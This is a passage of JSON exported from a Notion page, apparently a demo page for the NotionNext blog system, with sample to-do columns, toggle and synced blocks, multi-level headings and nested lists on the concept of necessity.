"}},"3206c63c-38c9-42a5-9829-1f8a39e6e0eb":{"value":{"id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","type":"column_list","content":["1854a9a5-32ae-4877-ab49-d57de0d5354f","5ac99d26-69f6-476c-9824-238bf50d62a7"],"format":{"copied_from_pointer":{"id":"a1a14331-820d-4681-ae01-2c0bc8b48f65","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a1a14331-820d-4681-ae01-2c0bc8b48f65"}},"1854a9a5-32ae-4877-ab49-d57de0d5354f":{"value":{"id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","type":"column","content":["245c6b1d-d615-4cce-ad98-1e9e9a3d331b","3a656978-d031-4237-bd2f-3e13591e4d3c","9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd"}},"5ac99d26-69f6-476c-9824-238bf50d62a7":{"value":{"id":"5ac99d26-69f6-476c-9824-238bf50d62a7","type":"column","content":["3ba35f4a-aa14-47ea-b6d7-69a9ac005410","1b93f241-5182-4114-9004-5d24d8327db2","53f53d16-5518-4b72-a684-a286d2c14394"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"12ac700a-7512-4b69-bf45-d295519e9d71","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"12ac700a-7512-4b69-bf45-d295519e9d71"}},"245c6b1d-d615-4cce-ad98-1e9e9a3d331b":{"value":{"id":"245c6b1d-d615-4cce-ad98-1e9e9a3d331b","type":"text","properties":{"title":[["家庭"]]},"format":{"block_color":"teal_background","copied_from_pointer":{"id":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774"}},"3ba35f4a-aa14-47ea-b6d7-69a9ac005410":{"value":{"id":"3ba35f4a-aa14-47ea-b6d7-69a9ac005410","type":"text","properties":{"title":[["事业"]]},"format":{"block_color":"blue_background","copied_from_pointer":{"id":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3"}},"3a656978-d031-4237-bd2f-3e13591e4d3c":{"value":{"id":"3a656978-d031-4237-bd2f-3e13591e4d3c","type":"to_do","properties":{"title":[["洗衣"]]},"format":{"copied_from_pointer":{"id":"87a09476-499e-46ea-a2bc-7283fb7b3d1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"87a09476-499e-46ea-a2bc-7283fb7b3d1b"}},"1b93f241-5182-4114-9004-5d24d8327db2":{"value":{"id":"1b93f241-5182-4114-9004-5d24d8327db2","type":"to_do","properties":{"title":[["开会"]]},"format":{"copied_from_pointer":{"id":"df478f02-d6b2-4433-8ab2-88e1c1c064b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"df478f02-d6b2-4433-8ab2-88e1c1c064b9"}},"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da":{"value":{"id":"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da","type":"to_do","properties":{"title":[["做饭"]]},"format":{"copied_from_pointer":{"id":"6184f41c-24af-490e-8be2-aa71ad46263c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"6184f41c-24af-490e-8be2-aa71ad46263c"}},"53f53d16-5518-4b72-a684-a286d2c14394":{"value":{"id":"53f53d16-5518-4b72-a684-a286d2c14394","type":"to_do","properties":{"title":[["加班"]]},"format":{"copied_from_pointer":{"id":"cb126b10-5f42-4f30-9755-7b03ee8f0654","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"cb126b10-5f42-4f30-9755-7b03ee8f0654"}},"c311a2ed-ff9b-41ef-8259-c5d55e7076f6":{"value":{"id":"c311a2ed-ff9b-41ef-8259-c5d55e7076f6","type":"sub_header","properties":{"title":[["6.折叠列表"]]},"format":{"copied_from_pointer":{"id":"ec497fa9-6df4-4927-be6f-0b2fdf07572e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ec497fa9-6df4-4927-be6f-0b2fdf07572e"}},"4748bbad-6dc8-4e84-ab43-96c076df3dd2":{"value":{"id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","type":"toggle","properties":{"title":[["点击展开"]]},"content":["02efa7b3-d1ce-40f7-9a23-f687b0046e4d"],"format":{"copied_from_pointer":{"id":"f8faebbf-cc58-408b-aab9-bd605072a188","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8faebbf-cc58-408b-aab9-bd605072a188"}},"b8800b2b-162c-42fa-9302-c258941e9dbf":{"value":{"id":"b8800b2b-162c-42fa-9302-c258941e9dbf","type":"divider","format":{"copied_from_pointer":{"id":"f91777d0-572c-4f2c-9832-b0b44e1f18c6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f91777d0-572c-4f2c-9832-b0b44e1f18c6"}},"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88":{"value":{"id":"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","type":"text","format":{"copied_from_pointer":{"id":"4c93f841-35ad-4698-9db7-607a81818ec5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"4c93f841-35ad-4698-9db7-607a81818ec5"}},"180fd5e9-cf79-432d-8d92-894d783e5e00":{"value":{"id":"180fd5e9-cf79-432d-8d92-894d783e5e00","type":"sub_header","properties":{"title":[["8. 同步块 "]]},"format":{"copied_from_pointer":{"id":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc"}},"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26":{"value":{"id":"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","type":"text","properties":{"title":[["Notion支持将不同页面的块进行同步,即 SyncBlock,以下是来自另一个页面的块:"]]},"format":{"copied_from_pointer":{"id":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e"}},"3fba972c-29f1-458a-a947-7d8aa18f79e6":{"value":{"id":"3fba972c-29f1-458a-a947-7d8aa18f79e6","type":"transclusion_reference","format":{"copied_from_pointer":{"id":"3ec36561-9537-4719-8f9c-34f7ddf381f5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"transclusion_reference_pointer":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3ec36561-9537-4719-8f9c-34f7ddf381f5"}},"77239aff-d7f9-46c1-a865-bf5f8c778674":{"value":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","type":"transclusion_container","content":["1011ab97-eb40-4c4e-ad98-1e7459e67c8e"],"created_time":1666242600000,"last_edited_time":1666242600000,"parent_id":"da988857-3ba9-4a63-9731-e849beb46705","parent_table":"block","alive":true}},"da988857-3ba9-4a63-9731-e849beb46705":{"value":{"id":"da988857-3ba9-4a63-9731-e849beb46705","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-11-05"}]]]],"`gQ~":[["Post"]],"bB{M":[[""]],"d]hq":[["invisible"]],"sD^m":[["健康"]],"wz|S":[["状态不是"],["Published",[["c"]]],[",故不会被显示"]],"title":[["未发布文章"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Invisible"]]},"content":["77239aff-d7f9-46c1-a865-bf5f8c778674","6697ac70-8b8b-44f0-997d-c82167c5df60"],"format":{"page_font":"serif","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1666241740033,"last_edited_time":1711083217619,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f"}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654","e17348d8-5a80-4f02-813c-025b790d16c8"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1711250944168,"parent_id":"cbcf52f3-6400-43ff-8a25-eb7ccd5eb694","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"1011ab97-eb40-4c4e-ad98-1e7459e67c8e":{"value":{"id":"1011ab97-eb40-4c4e-ad98-1e7459e67c8e","type":"text","properties":{"title":[["【sync-block】这是一段来自示例文章-3的段落 ,通过 SyncBlock同步。"]]},"created_time":1666242540000,"last_edited_time":1666242660000,"parent_id":"77239aff-d7f9-46c1-a865-bf5f8c778674","parent_table":"block","alive":true}},"7050f906-9255-4e76-840e-000da98df97d":{"value":{"id":"7050f906-9255-4e76-840e-000da98df97d","type":"callout","properties":{"title":[["注意",[["h","red_background"]]],[" : 同步块的使用条件是源页面也要被"],["开放共享",[["b"]]],[" ,否则NotionNext将无权访问,页面上会被忽略渲染。"]]},"content":["50755cdd-c61c-4731-a86e-c393efeb6d3e"],"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"85c3d346-dbda-4f2b-b17e-67c7223e80b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85c3d346-dbda-4f2b-b17e-67c7223e80b9"}},"50755cdd-c61c-4731-a86e-c393efeb6d3e":{"value":{"id":"50755cdd-c61c-4731-a86e-c393efeb6d3e","type":"image","properties":{"size":[["33.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png"]]},"format":{"block_width":528,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.13596491228070176,"copied_from_pointer":{"id":"23f23ef1-d518-44aa-9439-4a06d7774a8c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"7050f906-9255-4e76-840e-000da98df97d","parent_table":"block","alive":true,"copied_from":"23f23ef1-d518-44aa-9439-4a06d7774a8c","file_ids":["e078a58d-d9a8-48ac-8489-34d9d71b03c8"]}},"eb25cdb8-697c-4b55-a556-e416f9ecdbfb":{"value":{"id":"eb25cdb8-697c-4b55-a556-e416f9ecdbfb","type":"text","format":{"copied_from_pointer":{"id":"0f6131b5-59f8-4b3d-811d-cb5cb7330590","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0f6131b5-59f8-4b3d-811d-cb5cb7330590"}},"b4f0f638-f797-4040-9600-f5576c4520be":{"value":{"id":"b4f0f638-f797-4040-9600-f5576c4520be","type":"header","properties":{"title":[["多级目录"]]},"format":{"copied_from_pointer":{"id":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea"}},"4038cfa4-b79f-4562-b5d8-9ed98addba56":{"value":{"id":"4038cfa4-b79f-4562-b5d8-9ed98addba56","type":"text","properties":{"title":[["heading标题在博客中自动转为目录"]]},"format":{"copied_from_pointer":{"id":"9047c555-5912-403a-8de0-2ec80ccc25a2","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9047c555-5912-403a-8de0-2ec80ccc25a2"}},"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956":{"value":{"id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","type":"column_list","content":["f8396978-e681-4406-9a4e-d42c568575be","10a71b93-15b6-4dc7-9f1e-3bd3f20cd257"],"format":{"copied_from_pointer":{"id":"9a38137c-8b87-4a32-94ae-4fa556f0470a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9a38137c-8b87-4a32-94ae-4fa556f0470a"}},"f8396978-e681-4406-9a4e-d42c568575be":{"value":{"id":"f8396978-e681-4406-9a4e-d42c568575be","type":"column","content":["d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","c011c17a-60a6-42d8-acb3-af36dfdadb20"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4"}},"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257":{"value":{"id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","type":"column","content":["22f6632d-d065-4f58-980a-4649c4298727","84010516-7c17-45fd-857c-cb76847b00c3"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"eef90ab9-1637-4c64-bb9d-55930dffc9a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"eef90ab9-1637-4c64-bb9d-55930dffc9a0"}},"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e":{"value":{"id":"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","type":"sub_header","properties":{"title":[["二级目录1"]]},"format":{"copied_from_pointer":{"id":"76620351-2ca1-41b9-bb99-7fec05c79547","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"76620351-2ca1-41b9-bb99-7fec05c79547"}},"22f6632d-d065-4f58-980a-4649c4298727":{"value":{"id":"22f6632d-d065-4f58-980a-4649c4298727","type":"sub_header","properties":{"title":[["二级目录2"]]},"format":{"copied_from_pointer":{"id":"5f4af335-b79a-47ab-b0a7-ff15268af561","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"5f4af335-b79a-47ab-b0a7-ff15268af561"}},"c011c17a-60a6-42d8-acb3-af36dfdadb20":{"value":{"id":"c011c17a-60a6-42d8-acb3-af36dfdadb20","type":"text","properties":{"title":[["二级内容 1"]]},"format":{"copied_from_pointer":{"id":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e"}},"84010516-7c17-45fd-857c-cb76847b00c3":{"value":{"id":"84010516-7c17-45fd-857c-cb76847b00c3","type":"text","properties":{"title":[["二级内容2"]]},"format":{"copied_from_pointer":{"id":"612c658b-88d9-45bf-ad3e-c05c30b05045","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"612c658b-88d9-45bf-ad3e-c05c30b05045"}},"3ccfd881-f68a-446b-b9e3-ad394ab9d36f":{"value":{"id":"3ccfd881-f68a-446b-b9e3-ad394ab9d36f","type":"sub_header","properties":{"title":[["二级目录3"]]},"format":{"copied_from_pointer":{"id":"19383acf-0337-4fa1-82d3-b6785c6af8b7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19383acf-0337-4fa1-82d3-b6785c6af8b7"}},"522cceae-719e-47fe-880a-29732a5e4ca5":{"value":{"id":"522cceae-719e-47fe-880a-29732a5e4ca5","type":"column_list","content":["24a21de2-667a-43cd-930a-33507a87774b","d1f54f28-cf6e-4ce0-bbf2-69726a858083"],"format":{"copied_from_pointer":{"id":"140ac967-244b-435d-87ae-fcd881bba04f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"140ac967-244b-435d-87ae-fcd881bba04f"}},"24a21de2-667a-43cd-930a-33507a87774b":{"value":{"id":"24a21de2-667a-43cd-930a-33507a87774b","type":"column","content":["360a1985-e525-4b4c-b2a5-4bf8a562ddaa","1399dc70-c071-48a7-8eaa-e90e24fd1d82"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"13dd7205-04d9-419e-89cc-68ea0105327b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"13dd7205-04d9-419e-89cc-68ea0105327b"}},"d1f54f28-cf6e-4ce0-bbf2-69726a858083":{"value":{"id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","type":"column","content":["3bb570e1-4846-4ef2-87a6-937dbe4cad6c","666dd094-fafb-4f8a-bb0a-057bb2cbf618"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"72aaf179-5b36-4571-9a8d-1aeff2588a75","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"72aaf179-5b36-4571-9a8d-1aeff2588a75"}},"360a1985-e525-4b4c-b2a5-4bf8a562ddaa":{"value":{"id":"360a1985-e525-4b4c-b2a5-4bf8a562ddaa","type":"sub_sub_header","properties":{"title":[["三级目录3.1"]]},"format":{"copied_from_pointer":{"id":"9d91f3d6-d3b7-4601-8bac-d18971ff891f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"9d91f3d6-d3b7-4601-8bac-d18971ff891f"}},"3bb570e1-4846-4ef2-87a6-937dbe4cad6c":{"value":{"id":"3bb570e1-4846-4ef2-87a6-937dbe4cad6c","type":"sub_sub_header","properties":{"title":[["三级目录3.2"]]},"format":{"copied_from_pointer":{"id":"0a68beb3-8941-4de4-957e-4f067eb1c839","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"0a68beb3-8941-4de4-957e-4f067eb1c839"}},"1399dc70-c071-48a7-8eaa-e90e24fd1d82":{"value":{"id":"1399dc70-c071-48a7-8eaa-e90e24fd1d82","type":"text","properties":{"title":[["不同级别的heading代表不同级别的目录"]]},"format":{"copied_from_pointer":{"id":"996a7ca4-f57c-4dc5-95cc-5f515aae299b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"996a7ca4-f57c-4dc5-95cc-5f515aae299b"}},"666dd094-fafb-4f8a-bb0a-057bb2cbf618":{"value":{"id":"666dd094-fafb-4f8a-bb0a-057bb2cbf618","type":"text","properties":{"title":[["高一级目录嵌套低一级目录"]]},"format":{"copied_from_pointer":{"id":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7"}},"150b9807-a36f-45eb-9892-d9f6a0f1db56":{"value":{"id":"150b9807-a36f-45eb-9892-d9f6a0f1db56","type":"sub_header","properties":{"title":[["多级列表"]]},"format":{"copied_from_pointer":{"id":"67c0f7b6-58f8-4462-85e3-e7aef4174ece","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"67c0f7b6-58f8-4462-85e3-e7aef4174ece"}},"42ab1b80-3546-4a53-a9ca-bb98d854e4c3":{"value":{"id":"42ab1b80-3546-4a53-a9ca-bb98d854e4c3","type":"bulleted_list","properties":{"title":[["事物的必然性"]]},"format":{"copied_from_pointer":{"id":"d23a5aa6-7935-4587-90c5-44ed9381c19a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d23a5aa6-7935-4587-90c5-44ed9381c19a"}},"fd0213c3-3749-4192-9153-a4ed99862478":{"value":{"id":"fd0213c3-3749-4192-9153-a4ed99862478","type":"numbered_list","properties":{"title":[["事物按规律变化,也有一种不可避免的性质.这种性质就叫做"],["必然性",[["b"]]]]},"content":["0088bfb9-cb4d-4598-ae75-0e3730f9396d","ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8"],"format":{"copied_from_pointer":{"id":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475"}},"0088bfb9-cb4d-4598-ae75-0e3730f9396d":{"value":{"id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","type":"numbered_list","properties":{"title":[["事物的必然性,是事物本身的性质(我们反对宿命论的是其认为这一切是受神明的支配,而不是反对事物发展中存在的不可避免的性质的事实)"]]},"content":["59e81d6f-cd4d-41ef-b5eb-34c35a923f75","041c0475-c611-48d7-81b0-d2f014771748"],"format":{"copied_from_pointer":{"id":"5482440b-ad3a-4e2c-911d-226cebed353c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"5482440b-ad3a-4e2c-911d-226cebed353c"}},"59e81d6f-cd4d-41ef-b5eb-34c35a923f75":{"value":{"id":"59e81d6f-cd4d-41ef-b5eb-34c35a923f75","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"e268c632-795a-4e9f-93cc-553cdebbffb8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"e268c632-795a-4e9f-93cc-553cdebbffb8"}},"041c0475-c611-48d7-81b0-d2f014771748":{"value":{"id":"041c0475-c611-48d7-81b0-d2f014771748","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"211f8283-13c5-415f-92f5-f96db1ff8bf6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"211f8283-13c5-415f-92f5-f96db1ff8bf6"}},"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8":{"value":{"id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","type":"numbered_list","properties":{"title":[["其决定于它自己本身发展的情况和周围的条件"]]},"content":["e7d4f134-5b60-